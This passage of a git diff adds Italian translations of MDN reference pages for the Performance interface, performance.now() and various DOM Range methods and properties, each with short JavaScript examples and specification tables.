+   <td>Aggiunta la sua definizione iniziale all'interfaccia pura <code>ElementTraversal</code> e usarla su {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.ParentNode.firstElementChild")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Le interfacce pure {{domxref("ParentNode")}} e {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Tipi di oggetti che implementano questa pura interfaccia: {{domxref("Document")}}, {{domxref("Element")}}, e {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/it/web/api/performance/index.html b/files/it/web/api/performance/index.html
new file mode 100644
index 0000000000..fde24fddb4
--- /dev/null
+++ b/files/it/web/api/performance/index.html
@@ -0,0 +1,135 @@
+---
+title: Performance
+slug: Web/API/Performance
+tags:
+  - API
+  - Interface
+  - Misurazione delle performance
+  - Performance
+  - Reference
+  - Web Performance
+translation_of: Web/API/Performance
+---
+<div>{{APIRef("High Resolution Time")}}</div>
+
+<p> <br>
+ L'interaccia <strong><code>Performance</code> </strong>fornisce l'accesso alle informazioni relative alle performance della pagina corrente. Fa parte delle High Resolution Time API, ma viene migliorata tramite le <a href="/en-US/docs/Web/API/Performance_Timeline">Performance Timeline API</a>, le <a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a>, le <a href="/en-US/docs/Web/API/User_Timing_API">User Timing API</a> e le <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>.</p>
+
+<p>Un oggetto di questo tipo può essere ottenuto chiamando {{domxref("Window.performance")}} in sola lettura.</p>
+
+<div class="note">
+<p><strong><em>Nota</em>:  </strong>Questa interfaccia ed i suoi metodi sono disponibili nei <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, ad eccezione di dove diversamente indicato nella guida sottostante.<br>
+ Da notare inoltre che i markers delle peformance e le misurazioni sono relative al contesto. Se crei un marker sul thread principale (o su un altro worker), non potrai vederlo in un thread del worker e viceversa.</p>
+</div>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<p><em>L'interfaccia <code>Performance</code> non eredita nessuna proprietà.</em></p>
+
+<dl>
+ <dt>{{deprecated_inline}} {{domxref("Performance.navigation")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("PerformanceNavigation")}} è un oggetto che fornisce un utile contesto sulle operazioni incluse nella lista <code>timing</code>, sia che la pagina venga caricata o ricaricata, quante occorrenze di redirect sono presenti e così via. Not available in workers.</dd>
+ <dt>{{deprecated_inline}}  {{domxref("Performance.timing")}} {{readonlyInline}}</dt>
+ <dd>L'oggetto {{domxref("PerformanceTiming")}} contiene le informazioni relative alla latenza delle performance. Not available in workers.</dd>
+ <dt>{{domxref("Performance.memory", "performance.memory")}} {{Non-standard_inline}}</dt>
+ <dd>Estensione <em>non-standard</em> aggiunta in Chrome, questa proprietà fornisce un oggetto con l'utilizzo della memoria di base. <strong>Non dovresti</strong> usare questa API <em>non-stanrdard</em>.</dd>
+ <dt>{{domxref("Performance.timeOrigin")}} {{readonlyInline}} {{Non-standard_inline}}</dt>
+ <dd>Restituisce il timestamp preciso del momento in cui si è iniziato a misurare le performance.</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h3 id="Event_handlers">Event handlers</h3>
+ </dt>
+ <dt>{{domxref("Performance.onresourcetimingbufferfull")}}</dt>
+ <dd>Un {{domxref("EventTarget")}} che funge da callback e che viene eseguito quando viene scatenato l'evento {{event("resourcetimingbufferfull")}}</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<p><em><em>L'interfaccia <code>Performance</code> non eredita nessun metodo.</em></em></p>
+
+<dl>
+ <dt>{{domxref("Performance.clearMarks()")}}</dt>
+ <dd>Rimuove il <em>segnaposto</em> specificato dal buffer delle performance del browser.</dd>
+ <dt>{{domxref("Performance.clearMeasures()")}}</dt>
+ <dd>Rimuove la <em>misurazione</em> specificata dal buffer delle performance del browser.</dd>
+ <dt>{{domxref("Performance.clearResourceTimings()")}}</dt>
+ <dd>Rimuove tutte le {{domxref("PerformanceEntry","performance entries")}} con un {{domxref("PerformanceEntry.entryType","entryType")}} di <code>resource</code> dal data buffer delle performance del browser.</dd>
+ <dt>{{domxref("Performance.getEntries()")}}</dt>
+ <dd>Restituisce una lista di oggetti di tipo {{domxref("PerformanceEntry")}}  basati sul filtro specificato.</dd>
+ <dt>{{domxref("Performance.getEntriesByName()")}}</dt>
+ <dd>Restituisce una lista di oggetti di tipo {{domxref("PerformanceEntry")}} secondo il <em>nome</em> specificato ed il tipo di<em>voce specificata.</em></dd>
+ <dt>{{domxref("Performance.getEntriesByType()")}}</dt>
+ <dd>Restituisce una list di oggetti {{domxref("PerformanceEntry")}} relativi alla <em>voce</em> specificata</dd>
+ <dt>{{domxref("Performance.mark()")}}</dt>
+ <dd>Crea un {{domxref("DOMHighResTimeStamp","timestamp")}} nel buffer delle performance usando il nome specificato.</dd>
+ <dt>{{domxref("Performance.measure()")}}</dt>
+ <dd>Crea un {{domxref("DOMHighResTimeStamp","timestamp")}} nel buffer delle performance del browser tra due <em>segnaposti (indicati rispettivamente come start mark ed end mark)</em></dd>
+ <dt>{{domxref("Performance.now()")}}</dt>
+ <dd>Restituisce un {{domxref("DOMHighResTimeStamp")}} ceh rappresenta il numero in millisecondi trascorso dall'istante preso come riferimento.</dd>
+ <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt>
+ <dd>Imposta la dimensione del buffer del browser relativo alla temporizzazione in un numero specificato di oggetti {{domxref("PerformanceEntry","performance entry")}} "<code>resource</code>" {{domxref("PerformanceEntry.entryType","type")}}</dd>
+ <dt>{{domxref("Performance.toJSON()")}}</dt>
+ <dd>Restituisce un oggetto json che rappresenta l'oggetto <code>Performance</code></dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 3', '#dom-performance-timeorigin','timeOrigin')}}</td>
+   <td>{{Spec2('Highres Time Level 3')}}</td>
+   <td>Definisce la proprietà <code>timeOrigin</code> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Definisce il metodo <code>toJson()</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#the-performance-interface', 'Performance')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Definisce il metodo <code>now()</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline Level 2', '#extensions-to-the-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('Performance Timeline Level 2')}}</td>
+   <td>Cambia l'interfaccia <code>getEntries()</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline', '#sec-window.performance-attribute', 'Performance extensions')}}</td>
+   <td>{{Spec2('Performance Timeline')}}</td>
+   <td>Definisce i metodi <code>getEntries()</code>, <code>getEntriesByType()</code> e <code>getEntriesByName()</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('Resource Timing')}}</td>
+   <td>Definisce i metodi <code>clearResourceTimings()</code> e <code>setResourceTimingBufferSize()</code> e la proprietà <code>onresourcetimingbufferfull</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing Level 2', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('User Timing Level 2')}}</td>
+   <td>Spiega i metodi <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> e <code>clearMeasure()</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Definisce i metodi <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> e <code>clearMeasure()</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance")}}</p>
+</div>
diff --git a/files/it/web/api/performance/now/index.html b/files/it/web/api/performance/now/index.html
new file mode 100644
index 0000000000..2331157f18
--- /dev/null
+++ b/files/it/web/api/performance/now/index.html
@@ -0,0 +1,104 @@
+---
+title: performance.now()
+slug: Web/API/Performance/now
+tags:
+  - API
+  - Performance
+  - Prestazioni
+  - Reference
+  - Riferimento
+  - Web Performance API
+  - metodo
+translation_of: Web/API/Performance/now
+---
+<div>{{APIRef("High Resolution Timing")}}</div>
+
+<p>Il metodo <code><strong>performance.now()</strong></code> restituisce un {{domxref("DOMHighResTimeStamp")}}, misurato in millisecondi.</p>
+
+<div class="warning">
+<p>The timestamp is not actually high-resolution. To mitigate security threats such as <a href="https://spectreattack.com/">Spectre</a>, browsers currently round the results to varying degrees. (Firefox started rounding to 1 millisecond in Firefox 60.) Some browsers may also slightly randomize the timestamp. The precision may improve again in future releases; browser developers are still investigating these timing attacks and how best to mitigate them.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Il valore restituito rappresenta il tempo trascorso dal <a href="/en-US/docs/Web/API/DOMHighResTimeStamp#The_time_origin">time origin</a>.</p>
+
+<p>Tieni a mente i seguenti punti:</p>
+
+<ul>
+ <li>Negli workers dedicati creati da un contesto {{domxref("Window")}}, il valore nel worker sarà minore di <code>performance.now()</code> nella finestra che ha creato quel worker. Prima era lo stesso di <code>t0</code> nel contesto principale, ma è stato cambiato</li>
+ <li>Negli workers condivisi o di servizio, til valore nel worker potrebbe essere più alto di quello del contesto principale, perché quella finestra può essere creata dopo quegli workers.</li>
+</ul>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>t</em> = performance.now();</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">var t0 = performance.now();
+doSomething();
+var t1 = performance.now();
+console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.");
+</pre>
+
+<p>A differenza di altri timing data disponibili con JavaScript (per esempio <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), i timestamps restituiti da <code>Performance.now()</code> non sono limitati a una risoluzione di un millisecondo. Invece, rappresentano il tempo come numeri a virgola mobile con una precisione che può arrivare a un microsecondo.</p>
+
+<p>Inolre, a differenza di <code>Date.now()</code>, il valore restituito da <code>Performance.now()</code> aumenta sempre con costanza, indipendentemente dal clock di sistema (che può essere regolato manualmente o distorto da software come NTP). Altrimenti, <code>performance.timing.navigationStart + performance.now()</code> sarà approssimativamente uguale a <code>Date.now()</code>.</p>
+
+<h2 id="Reduced_time_precision">Reduced time precision</h2>
+
+<p>To offer protection against timing attacks and fingerprinting, the precision of <code>performance.now()</code> might get rounded depending on browser settings.<br>
+ In Firefox, the <code>privacy.reduceTimerPrecision</code>  preference is enabled by default and defaults to 1ms.</p>
+
+<pre class="brush: js">// reduced time precision (1ms) in Firefox 60
+performance.now();
+// 8781416
+// 8781815
+// 8782206
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+performance.now();
+// 8865400
+// 8866200
+// 8866700
+// ...
+</pre>
+
+<p>In Firefox, you can also enable <code>privacy.resistFingerprinting</code> — this changes the precision to 100ms or the value of <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, whichever is larger.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-performance-now', 'performance.now()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Stricter definitions of interfaces and types.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#dom-performance-now', 'performance.now()')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Performance.now")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now">When milliseconds are not enough: performance.now() </a>from HTML5 Rocks.</li>
+</ul>
diff --git a/files/it/web/api/range/clonecontents/index.html b/files/it/web/api/range/clonecontents/index.html
new file mode 100644
index 0000000000..48d1bc09b9
--- /dev/null
+++ b/files/it/web/api/range/clonecontents/index.html
@@ -0,0 +1,27 @@
+---
+title: range.cloneContents
+slug: Web/API/Range/cloneContents
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Range/cloneContents
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce un frammento del documento copiando i nodi di un Range.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval">frammento = range.cloneContents();
+</pre>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+frammento = range.cloneContents();
+document.body.appendChild(frammento);
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Gli Event Listener aggiunti utilizzando gli Event del DOM non vengono copiati durante la clonazione. Gli attributi-evento di HTML vengono duplicati allo stesso modo in cui li copia il metodo clonNode. Anche gli attributi HTML "id" vengono clonati, il che può portare a rendere il documento non valido.</p>
+<p>I nodi parzialmente selezionati includono i tag padri necessari perché il frammento di documento sia valido.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-Range-method-cloneContents">cloneContents</a></p>
diff --git a/files/it/web/api/range/clonerange/index.html b/files/it/web/api/range/clonerange/index.html
new file mode 100644
index 0000000000..ba8c0076b3
--- /dev/null
+++ b/files/it/web/api/range/clonerange/index.html
@@ -0,0 +1,28 @@
+---
+title: range.cloneRange
+slug: Web/API/Range/cloneRange
+translation_of: Web/API/Range/cloneRange
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce un oggetto Range con i punti d'inizio e di fine identici a quelli del Range attuale.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">clone = range.cloneRange();
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+clone = range.cloneRange();
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il Range viene copiato per valore, non per referenza, quindi una modifica su uno dei due oggetti non avrà effetti sull'altro.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-clone">cloneRange</a></p>
diff --git a/files/it/web/api/range/collapse/index.html b/files/it/web/api/range/collapse/index.html
new file mode 100644
index 0000000000..f976cfeca6
--- /dev/null
+++ b/files/it/web/api/range/collapse/index.html
@@ -0,0 +1,36 @@
+---
+title: range.collapse
+slug: Web/API/Range/collapse
+translation_of: Web/API/Range/collapse
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Collassa il range tra i suoi due estremi.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.collapse(toStart);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>toStart </dt>
+ <dd>Un booleano, true collassa il Range al suo punto iniziale, False lo collassa alla fine.</dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+referenceNode = document.getElementsByTagName("div").item(0);
+range.selectNode(referenceNode);
+range.collapse(true);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Un Range collassato è vuoto, non ha alcun contenuto, specifica un singolo punto nell'albero del DOM. Per determinare se un Range è già collassato, si veda la proprietà <a href="it/DOM/range.collapsed">collapsed</a>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-collapse">collapse</a></p>
diff --git a/files/it/web/api/range/collapsed/index.html b/files/it/web/api/range/collapsed/index.html
new file mode 100644
index 0000000000..3d06ee5385
--- /dev/null
+++ b/files/it/web/api/range/collapsed/index.html
@@ -0,0 +1,33 @@
+---
+title: range.collapsed
+slug: Web/API/Range/collapsed
+translation_of: Web/API/Range/collapsed
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce un booleano che indica se i punti d'inizio e di fine sono nella stessa posizione.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">isCollapsed = range.collapsed;
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+isCollapsed = range.collapsed;
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Restituisce il valore booleano true se l'inizio e la fine del Range sono lo stesso punto nel DOM, altrimenti restituisce false.</p>
+
+<p>Un Range collapsed è vuoto, non ha alcun contenuto, rappresenta un singolo punto nell'albero del DOM. Per collassare un Range, si veda il metodo <a href="it/DOM/range.collapse"> collapse</a>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-attr-collapsed">collapsed</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/range.collapsed" } ) }}</p>
diff --git a/files/it/web/api/range/commonancestorcontainer/index.html b/files/it/web/api/range/commonancestorcontainer/index.html
new file mode 100644
index 0000000000..9f4cbec910
--- /dev/null
+++ b/files/it/web/api/range/commonancestorcontainer/index.html
@@ -0,0 +1,31 @@
+---
+title: range.commonAncestorContainer
+slug: Web/API/Range/commonAncestorContainer
+translation_of: Web/API/Range/commonAncestorContainer
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce il nodo più interno che contiene i nodi <a href="it/DOM/range.startContainer"> startContainer</a> e <a href="it/DOM/range.endContainer"> endContainer</a>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">rangeAncestor = range.commonAncestorContainer;
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+rangeAncestor = range.commonAncestorContainer;
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Restituisce il nodo che si trova più in profondità, o più in basso nell'albero del DOM, che contiene entrambi i nodi <a href="it/DOM/range.startContainer"> startContainer</a> e <a href="it/DOM/range.endContainer"> endContainer</a>. Siccome Range non deve necessariamente essere contiguo e potrebbe anche selezionare solo in parte alcuni nodi, questo è un modo conveniente per trovare un nodo che racchiuda completamente il Range.</p>
+
+<p>Questa proprietà è di sola lettura. Per cambiare il più profondo contenitore di un nodo, si consideri la possibilità di utilizzare i vari metodi per impostare le posizioni iniziali e finali di un Range.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-attr-commonParent">commonAncestorContainer</a></p>
diff --git a/files/it/web/api/range/compareboundarypoints/index.html b/files/it/web/api/range/compareboundarypoints/index.html
new file mode 100644
index 0000000000..f815fd019b
--- /dev/null
+++ b/files/it/web/api/range/compareboundarypoints/index.html
@@ -0,0 +1,54 @@
+---
+title: range.compareBoundaryPoints
+slug: Web/API/Range/compareBoundaryPoints
+translation_of: Web/API/Range/compareBoundaryPoints
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Compara i punti estremi di due <code>Range</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>compara</i> =
+<i>range</i>.compareBoundaryPoints(
+<i>come</i>,
+<i>rangeSorgente</i>);
+</pre>
+
+<dl>
+ <dt>compara </dt>
+ <dd>Un numero che vale 1, 0, o -1, che indica se un punto estremo di
+ <i>range</i>
+ è rispettivamente prima, nella stessa posizione o dopo il corrispondente punto estremo di <code>rangeSorgente</code>.</dd>
+ <dt>come </dt>
+ <dd>Una costante che indica la modalità di comparazione, i possibili valori sono descritti sotto.</dd>
+ <dt>rangeSorgente </dt>
+ <dd>Un range con cui effettuare la comparazione</dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">var range, rangeSorgente, compara;
+range = document.createRange();
+range.selectNode(document.getElementsByTagName("div")[0]);
+rangeSorgente = document.createRange();
+rangeSorgente.selectNode(document.getElementsByTagName("div")[1]);
+compara = range.compareBoundaryPoints(START_TO_END, rangeSorgente);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il parametro
+ <i>come</i>
+ può assumere i seguenti valori:</p>
+
+<ul>
+ <li><code>Range.END_TO_END</code> compara l'estremo finale di <code>rangeSorgente</code> con il punto finale di <code>range</code>.</li>
+ <li><code>Range.END_TO_START</code> compara il punto finale di <code>rangeSorgente</code> con il punto iniziale di <code>range</code>.</li>
+ <li><code>Range.START_TO_END</code> compara il punto iniziale di <code>rangeSorgente</code> con il punto finale di <code>range</code>.</li>
+ <li><code>Range.START_TO_START</code> compara il punto iniziale di <code>rangeSorgente</code> con il punto iniziale di <code>range</code>.</li>
+</ul>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-compareBoundaryPoints">DOM Level 2 Traversal: compareBoundaryPoints</a></p>
diff --git a/files/it/web/api/range/comparepoint/index.html b/files/it/web/api/range/comparepoint/index.html
new file mode 100644
index 0000000000..2d3356b532
--- /dev/null
+++ b/files/it/web/api/range/comparepoint/index.html
@@ -0,0 +1,37 @@
+---
+title: range.comparePoint
+slug: Web/API/Range/comparePoint
+translation_of: Web/API/Range/comparePoint
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce -1 se <code>nodo</code> si trova prima del <code>range</code>, 0 se si trova nello stesso punto, 1 se si trova dopo.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">int = range.comparePoint( nodo, offset )
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>nodo </dt>
+ <dd>Il <code>node</code> da comparare con <code>range</code></dd>
+ <dt>offset </dt>
+ <dd>Un intero maggiore o uguale a zero che rappresenta la distanza dall'inizio del <code>nodo</code></dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+valore = range.comparePoint(document.getElementsByTagName("p").item(0),1);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Se il <code>nodo</code> è di tipo <code>Text</code>, <code>Comment</code>, o <code>CDATASection</code>, allora l'<code>offset</code> è il numero di caratteri dall'inizio del <code>nodo</code>. Per tutti gli altri tipi di nodo, <code>offset&lt;/offset&gt; rappresenta il numero dei nodi figlio dall'inizio di &lt;code&gt;nodo</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/range/createcontextualfragment/index.html b/files/it/web/api/range/createcontextualfragment/index.html
new file mode 100644
index 0000000000..f56354ddc4
--- /dev/null
+++ b/files/it/web/api/range/createcontextualfragment/index.html
@@ -0,0 +1,37 @@
+---
+title: range.createContextualFragment
+slug: Web/API/Range/createContextualFragment
+translation_of: Web/API/Range/createContextualFragment
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce un frammento di documento.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">frammento = range.createContextualFragment( tag )
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>tag </dt>
+ <dd>stringa che contiene del testo da convertire in un frammento di documento</dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">var tag = "&lt;div&gt;Ciao, sono un nodo!&lt;/div&gt;";
+var range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+var frammento = range.createContextualFragment(tag);
+document.body.appendChild(frammento);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Questo metodo accetta una stringa e utilizza l'interprete di Mozilla per convertirla in un ramo (o un singolo nodo) del DOM.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/range/deletecontents/index.html b/files/it/web/api/range/deletecontents/index.html
new file mode 100644
index 0000000000..25ade9f3ca
--- /dev/null
+++ b/files/it/web/api/range/deletecontents/index.html
@@ -0,0 +1,25 @@
+---
+title: range.deleteContents
+slug: Web/API/Range/deleteContents
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Range/deleteContents
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Rimuove i contenuti di un Range dal documento.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval">range.deleteContents()
+</pre>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.deleteContents();
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Diversamente dal metodo extractContents, deleteContents non restituisce un frammento di documento contenente il contenuto cancellato.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-Range-method-deleteContents">deleteContents</a></p>
diff --git a/files/it/web/api/range/detach/index.html b/files/it/web/api/range/detach/index.html
new file mode 100644
index 0000000000..be4f1de75d
--- /dev/null
+++ b/files/it/web/api/range/detach/index.html
@@ -0,0 +1,28 @@
+---
+title: range.detach
+slug: Web/API/Range/detach
+translation_of: Web/API/Range/detach
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Rilascia un Range in uso, per liberare memoria.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.detach();
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.detach();
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Permette a Mozilla di rilasciare le risorse associate a questo Range. Successivi tentativi di usare il range rilasciato causeranno una DOMException lanciata con un codice di errore INVALID_STATE_ERR.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-detach">detach</a></p>
diff --git a/files/it/web/api/range/endcontainer/index.html b/files/it/web/api/range/endcontainer/index.html
new file mode 100644
index 0000000000..b727827a32
--- /dev/null
+++ b/files/it/web/api/range/endcontainer/index.html
@@ -0,0 +1,29 @@
+---
+title: range.endContainer
+slug: Web/API/Range/endContainer
+translation_of: Web/API/Range/endContainer
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce il nodo dentro il quale termina il Range.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">endRangeNode = range.endContainer;
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+endRangeNode = range.endContainer;
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Restituisce una referenza al Nodo del documento dentro il quale termina il Range. Questa proprietà è di sola lettura. Per modificare la posizione finale di un nodo, si può utilizzare il metodo <a href="it/DOM/range.setEnd"> setEnd</a> o un altro metodo simile.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-attr-endParent">endContainer</a></p>
diff --git a/files/it/web/api/range/endoffset/index.html b/files/it/web/api/range/endoffset/index.html
new file mode 100644
index 0000000000..0d4556ef6f
--- /dev/null
+++ b/files/it/web/api/range/endoffset/index.html
@@ -0,0 +1,29 @@
+---
+title: range.endOffset
+slug: Web/API/Range/endOffset
+translation_of: Web/API/Range/endOffset
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce un numero che rappresenta dove termina il Range, all'interno di <a href="it/DOM/range.endContainer"> endContainer</a>.</p>
+
